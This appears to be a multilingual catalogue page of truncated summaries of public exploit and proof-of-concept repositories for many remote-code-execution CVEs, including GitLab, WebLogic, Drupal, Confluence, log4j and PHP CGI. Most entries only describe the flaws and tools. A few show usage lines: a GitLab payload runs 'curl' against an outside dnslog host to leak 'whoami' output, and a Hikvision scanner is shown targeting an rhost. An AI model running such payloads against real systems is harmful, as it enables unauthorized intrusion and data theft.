CVE-2026-71981

Cypht before 2.12.2 contains a PHP object injection vulnerability that allows authenticated attackers to execute arbitrary operating system commands by supplying a crafted PHP object graph in the backquery GET parameter of the logout handler. Attackers can pass a base64-encoded serialized payload...

CVE-2025-24893

CVE-2025-24893 – XWiki 원격 코드 실행 RCE 개요 CVE-2025-24893 는 널리 사용되는 오픈소스 엔터프라이즈 위키 플랫폼인 XWiki 에서 발견된 심각한 수준의 인증되지 않은 원격 코드 실행RCE 취약점입니다. 이 결함은 SolrSearch 매크로에 존재하며, 검색 쿼리에 포함된 Groovy 표현식을 부적절하게 평가합니다. 이 취약점으로 인해 원격의 인증되지 않은 공격자 가 서버에서 임의의 Groovy 코드를 실행하여 영향을 받는 시스템에 대한 완전한 제어권을 얻을 수 있습니다. 취약점 세부 정보 C...

disable-RegisterSpoolerRemoteRpcEndPoint

disable-RegisterSpoolerRemoteRpcEndPoint Windows Print Spooler 원격 코드 실행 취약점CVE-2021-34527에 대한 해결 방법입니다. 참조: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527 업데이트 2021-07-08: Microsoft가 패치를 발표했습니다 Microsoft는 이미 이 취약점에 대한 패치를 발표했으므로 시스템을 최신 상태로 유지하면 충분합니다. 하지만 원한다면 이 기능을 계속 끌 수...

refreshing-soap-exploit

이것은 CVE-2022-41622에 대한 개념 증명PoC으로, F5 Big-IP의 CSRF 취약점으로 원격 코드 실행으로 이어집니다. 사용하기가 다소 까다롭지만, 제가 가장 좋아하는 사용 사례를 안내해 드리겠습니다. 취약점 핵심 취약점은 F5 Big-IP의 SOAP 인터페이스에서 발생하는 사이트 간 요청 위조CSRF입니다. 이 인터페이스는 /iControl/iControlPortal.cgi를 통해 접근되며, root 권한으로 실행됩니다. 하지만 root임에도 불구하고 SELinux 정책에 의해 제한되어 익스플로잇이 어렵습니다...

CVE-2023-45878

CVE-2023-45878 GibbonEdu 任意文件写入到 Web Shell 执行 描述 本仓库包含针对 CVE-2023-45878 的利用代码，这是 GibbonEdu 中的一个任意文件写入漏洞。该漏洞影响 rubricsvisualisesaveAjax.php 端点，允许未经身份验证的攻击者向 Web 服务器上传任意文件。 此脚本利用该漏洞上传 PHP Web Shell ，并可以选择： 执行 特定系统命令 ； 触发 Base64 编码的 PowerShell 反向 Shell 以获取远程访问权限。 用法 脚本支持两种操作模式： --command...

exploit-CVE-2025-49113

CVE-2025-49113 PoC リポジトリ CVE-2025-49113 の概要 CVE-2025-49113 は、Roundcube Webmail バージョン 1.5.10 および 1.6.11 より前のバージョンに影響する重大な脆弱性です。2025年に発見されたこの欠陥は、/settings/upload.php エンドポイントにおける PHP オブジェクトデシリアライゼーションを通じて、リモートコード実行 RCE を可能にします。この脆弱性は、from...

Microsoft-Remote-Desktop-Services-Remote-Code-Execution-Vulnerability-CVE-2019-0708

このリポジトリには README がありません。...

CVE-2021-22205

CVE-2021-22205 影响版本： Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Usage root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" 获取csrf-token： 通过 /users/signin 获取csrf-token 然后使用前面的 CVE-2021-22205 poc 进行构造上传包进行执行未经身份验证的上传请求，最终rce ref:...

CVE-2020-10673

脆弱性の説明 最近、亞信安全ネットワーク攻防ラボは jackson-databind がJNDIインジェクションのブラックリストクラスを1つ更新したことを追跡しました。プロジェクトパッケージにそのクラスのjarが存在し、JDKのバージョンがインジェクション可能なバージョンを満たしている場合、JNDIインジェクションを利用してリモートコード実行が可能です。そのクラスは com.caucho.config.types.ResourceRef です。 脆弱性番号： CVE-2020-10673 Jackson内部番号2660 影響範囲 jackson-databind = 2.10.3...

CVE-2021-36260

CVE-2021-36260 CVE-2021-36260 ./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check 안전 및 비안전 취약점/검증 점검: '안전 점검'으로 검증되지 않은 경우에만 '비안전 점검'을 사용합니다 $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot 비안전 취약점/검증 점검: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080...

CVE-2021-2109

CVE-2021-2109 Weblogic Server 원격 코드 실행 취약점 재현 및 분석 2021년 1월 Oracle은 Oracle 제품군의 329개의 새로운 보안 패치를 포함하는 보안 업데이트 패치를 발표했습니다. 이번 공지에서는 특히 2020년 11월 1일에 발표된 Oracle WebLogic Server의 CVE-2020-14750 취약점에 대한 보안 공지를 언급했습니다. 고객은 이 패치 업데이트와 이 공지의 다른 패치를 적용할 것을 강력히 권장합니다. CVE 번호 CVE-2021-2109, 이 취약점은 Weblogic...

CVE-2018-7600

CVE-2018-7600의 POC Drupal RCE CVE-2018-7600 스크립트에 주소를 입력하는 것을 잊지 마세요! 설명: Drupal 7.x 및 8.x의 여러 하위 시스템에 원격 코드 실행 취약점이 존재합니다. 이는 공격자가 Drupal 사이트의 여러 공격 벡터를 악용할 수 있도록 하여 사이트가 완전히 손상될 수 있습니다. 해결 방법: Drupal 7 또는 8 코어의 최신 버전으로 업그레이드하세요. 7.x를 사용 중인 경우, Drupal 7.58로 업그레이드하세요. 즉시 업데이트할 수 없는 경우, 완전히 업데이트할...

TryHackMe-Atlassian-CVE-2022-26134

TryHackMe | Atlassian, CVE-2022-26134 TryHackMe Atlassian CVE-2022-26134 Atlassian, CVE-2022-26134 An interactive lab showcasing the Confluence Server and Data Center un-authenticated RCE vulnerability. 작업 1 소개 Confluence | 원격 친화적인 팀 작업 공간 | Atlassian NVD - CVE-2022-26134 작업 2 취약한 머신 배포...

CVE-2023-36844_Juniper_RCE

CVE-2023-36844JuniperRCE A Proof of Concept for chaining the CVEs CVE-2023-36844, CVE-2023-36845, CVE-2023-36846, CVE-2023-36847 to achieve Remote Code Execution phpinfo in Juniper JunOS within SRX and EX Series products.Modified from original exploit developed by @watchTowr . Shodan dork :...

log4j-CVE-2021-44228-test

log4j-CVE-2021-44228-test proyectos de demostración para resaltar cómo ejecutar la vulnerabilidad log4j CVE-2021-44228 Se usó Spring Boot solo para configurarlo rápidamente. Tendrás que disculpar todo el código hardcodeado, era solo un POC. Uso Ten Java 8 instalado. Compila con Maven mvn clean...

CVE-2025-55182

CVE-2025-55182 스캐너 및 익스플로잇 랩 이 저장소는 React Server ComponentsRSC의 치명적인 원격 코드 실행RCE 취약점인 CVE-2025-55182 를 위한 포괄적인 스캐너 및 익스플로잇 도구를 포함합니다. 또한 이 취약점을 안전하게 테스트하고 이해할 수 있는 현실적인 "랩 환경Lab Environment"도 포함합니다. ⚠️ 면책 조항 이 도구는 교육 및 승인된 테스트 목적으로만 사용해야 합니다. 소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에서 이 도구를 사용하지 마십시오...

CVE-2024-57366

CVE-2024-57366 익스플로잇 MAC 주소 검증 우회와 명령어 삽입을 통해 취약한 라우터에서 원격 코드 실행을 가능하게 하는 CVE-2024-57366용 견고한 익스플로잇입니다. 이것은 인증 후post-authorization 익스플로잇으로, 라우터의 "Remote Control" 기능이 켜져 있어야 하며 관리자 비밀번호가 필요합니다. 관리자 사용자 이름은 "admin"으로 하드코딩되어 있습니다. 🚀 기능 자동 MAC 주소 등록 - WiFi에 연결하여 라우터에 MAC 주소를 등록 네트워크 보존 익스플로잇 - 익스플로잇...

CVE-2019-2890

声明 学習・交流目的のみに使用し、その他の用途による結果は自己責任とします。 説明 関連するjarファイルはすべてプロジェクトにインポート済みであり、利用方法はysoのJRMPを採用しています。学習・デバッグの際に利用方法を変更することができます。 まず、weblogic ディレクトリにある SerializedSystemIni.dat ファイルを security フォルダに配置する必要があります。 次に、yso を ysoserial.jar にリネームし、lib ディレクトリにインポートする必要があります。...

CVE-2025-13374

Kalrav AI Agent = 2.3.3 - kalravuploadfile AJAX 액션을 통한 인증되지 않은 임의 파일 업로드 워드프레스 Kalrav AI Agent 플러그인버전 2.3.3 및 이전 버전에는 인증되지 않은 사용자가 서버에 악성 PHP 파일을 업로드하여 원격 코드 실행으로 이어질 수 있는 임의 파일 업로드 취약점이 있습니다. TL;DR 익스플로잇 원격 공격자가 shell.php를 업로드하고 원격 코드를 실행하는 과정을 보여주는 POC CVE-2025-13374.py가 제공됩니다: root@kitploit:...

CVE-2024-4577

CVE-2024-4577 - PHP CGI 인자 주입 원격 코드 실행 RCE 요약 CVE-2024-4577은 Windows 시스템에서 PHP가 CGI 모드로 실행될 때 발생하는 PHP CGI 인자 주입 취약점 입니다. 이 결함으로 인해 원격 공격자가 특수 제작된 URL을 통해 PHP 명령줄에 인자를 주입 하여 원격 코드 실행 RCE을 달성할 수 있습니다. 이 저장소는 다음을 포함합니다: CVE-2024-4577.py: 취약한 대상을 탐지하는 스캐너. exploit.py: 취약한 서버에 PHP 코드를 전송하고 시스템 명령을 실행...